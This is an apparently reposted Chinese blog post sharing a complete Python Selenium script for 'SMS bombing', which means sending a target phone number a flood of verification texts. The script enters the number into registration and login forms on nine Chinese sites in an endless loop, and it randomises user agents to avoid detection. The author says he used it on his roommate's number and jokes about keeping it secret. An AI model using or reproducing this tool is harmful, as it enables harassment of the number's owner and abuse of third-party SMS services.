我用Python寫了一個一秒五十條短信的項目!然後號碼填成了上鋪的

今天閒來無事,看到室友一個個都在打遊戲!老衲很是無聊啊!沒辦法,只能玩玩技術了,這時候在github上面看到這樣一個項目代碼!就是短信無線發送,這不是無聊嗎,搬磚下來玩一下!

我用Python寫了一個一秒五十條短信的項目!然後號碼填成了上鋪的

然後我就把代碼弄下來了,改了其中的一小部分吧,畢竟不能真的一秒五十條啊!那被室友知道,估計哪天你們就見不到我更新文章了!所以得把頻率弄得慢一些才行!

我用Python寫了一個一秒五十條短信的項目!然後號碼填成了上鋪的

好了,廢話不多說了!直接上代碼和效果吧!

from selenium import webdriver
import time
from fake_useragent import UserAgent
opt = webdriver.ChromeOptions()
# opt.add_argument('--headless')
#更換頭部
ua = UserAgent()
opt.add_argument('user-agent="%s"' % ua.random)
driver = webdriver.Chrome(chrome_options=opt)
class HongZha:
def __init__(self):
self.phone = input('請輸入您要轟炸的號碼:')
self.num = 0
# 發送驗證碼
def send_yzm(self,button,name):
button.click()
self.num+=1
print("{} 第{}次 發送成功 {}".format(self.phone,self.num,name))
# qq註冊接口
def qq(self,name):
driver.get('https://ssl.zc.qq.com/v3/index-chs.html')
driver.implicitly_wait(10)
driver.find_element_by_xpath('//input[@id="nickname"]').send_keys('xxxx')
driver.find_element_by_xpath('//input[@id="password"]').send_keys('woshinibaba22')
driver.find_element_by_xpath('//input[@id="phone"]').send_keys(self.phone)
button = driver.find_element_by_xpath('//a[@id="send-sms"]')
self.send_yzm(button,name)
# 小米註冊接口
def xiaomi(self,name):
driver.get('https://account.xiaomi.com/pass/register')
driver.implicitly_wait(10)
driver.find_element_by_xpath('//input[@name="phone"]').send_keys(self.phone)
button = driver.find_element_by_xpath('//input[@type="submit"]')
self.send_yzm(button,name)
# 瓜子註冊接口
def guazi(self,name):
driver.implicitly_wait(10)
driver.get ( "https://www.guazi.com/www/bj/buy" )
a_btn = driver.find_element_by_xpath ( "//a[@class='uc-my']" )
a_btn.click ()

tel = driver.find_element_by_xpath ( "//input[@placeholder='請輸入您的手機號碼']" )
tel.send_keys ( self.phone )
button = driver.find_element_by_xpath ( "//button[@class='get-code']" )
self.send_yzm ( button,name )
# 唯品會註冊接口
def wphui(self,name):
driver.get ( "https://passport.vip.com/register?class="lazy" data-original=https%3A%2F%2Fwww.vip.com%2F" )
driver.implicitly_wait(10)
tel = driver.find_element_by_xpath ( "//input[@placeholder='請輸入手機號碼']" )
tel.send_keys ( self.phone )
driver.find_element_by_xpath ( '//a[contains(./text(),"獲取驗證碼")]' ).click()
button = driver.find_element_by_xpath ("//a[@class='ui-btn-medium btn-verify-code ui-btn-secondary']" )
self.send_yzm ( button,name )
# 蘇寧註冊接口
def suning(self,name):
driver.get ( "https://reg.suning.com/person.do" )
driver.implicitly_wait(10)
tel = driver.find_element_by_xpath ( "//input[@id='mobileAlias']" )
tel.send_keys ( self.phone )
button = driver.find_element_by_xpath ("//a[@id='sendSmsCode']" )
self.send_yzm ( button,name )
#一號店註冊接口
def yhd(self,name):
driver.get ( "https://passport.yhd.com/passport/register_input.do" )
driver.implicitly_wait(10)
driver.find_element_by_xpath ( "//input[@id='userName']" ).send_keys("wujunya625")
tel = driver.find_element_by_xpath ( "//input[@id='phone']" )
tel.send_keys ( self.phone )
button = driver.find_element_by_xpath ("//a[contains(./text(),'獲取驗證碼')]" )
self.send_yzm ( button,name )
# 有贊註冊接口
def youzan(self,name):
driver.get('https://www.youzan.com/v2/account?from_source=baidu_pz_shouye_0&')
driver.implicitly_wait(10)
driver.find_element_by_xpath('//input[@name="mobile"]').send_keys(self.phone)
button = driver.find_element_by_xpath('//button[contains(./text(),"獲取驗證碼")]')
self.send_yzm(button, name)
# 拼多多短信登陸接口
def pinduoduo(self,name):
driver.get('http://mobile.yangkeduo.com/login.html')
driver.implicitly_wait(10)
driver.find_element_by_xpath('//div[@class="phone-login"]/span').click()
driver.find_element_by_xpath('//input[@id="user-mobile"]').send_keys(self.phone)
button=driver.find_element_by_xpath('//button[@id="code-button"]')

self.send_yzm(button, name)
# 大眾點評登陸接口
def dianping(self,name):
driver.get('https://maccount.dianping.com/login')
driver.implicitly_wait(10)
driver.find_element_by_xpath('//input[@name="mobile"]').send_keys(self.phone)
button = driver.find_element_by_xpath('//a[@class="J_send EasyLogin_send"]')
self.send_yzm(button, name)
# def meituan(self,name):
# driver.get('https://i.meituan.com/account/login')
# driver.implicitly_wait(10)
# driver.find_element_by_xpath('//a[contains(./text(),"手機驗證登錄")]').click()
# driver.find_element_by_xpath('//a[contains(./text(),"手機驗證登錄")]/parent::li[1]').click()
# driver.find_element_by_xpath('//input[@name="mobile"]').send_keys(self.phone)
# button=driver.find_element_by_xpath('//button[@id="smsCode"]')
# self.send_yzm(button, name)
# 循環執行
def main(self):
while True:
self.qq('qq')
self.xiaomi('小米')
self.guazi('瓜子')
self.wphui('唯品會')
self.suning('蘇寧')
self.yhd('一號店')
self.youzan('有贊')
self.pinduoduo('拼多多')
self.dianping('大眾點評')
# self.meituan('美團')
time.sleep(60)
if __name__ == '__main__':
hongzha = HongZha()
hongzha.main()

完整代碼就貼上來了,大家如果要用的話,需要謹慎使用,別給人知道哈!哈哈哈哈 效果圖也貼上來吧!

我用Python寫了一個一秒五十條短信的項目!然後號碼填成了上鋪的

私信小編001,再送你一份神秘驚喜大禮包!


分享到:


相關文章: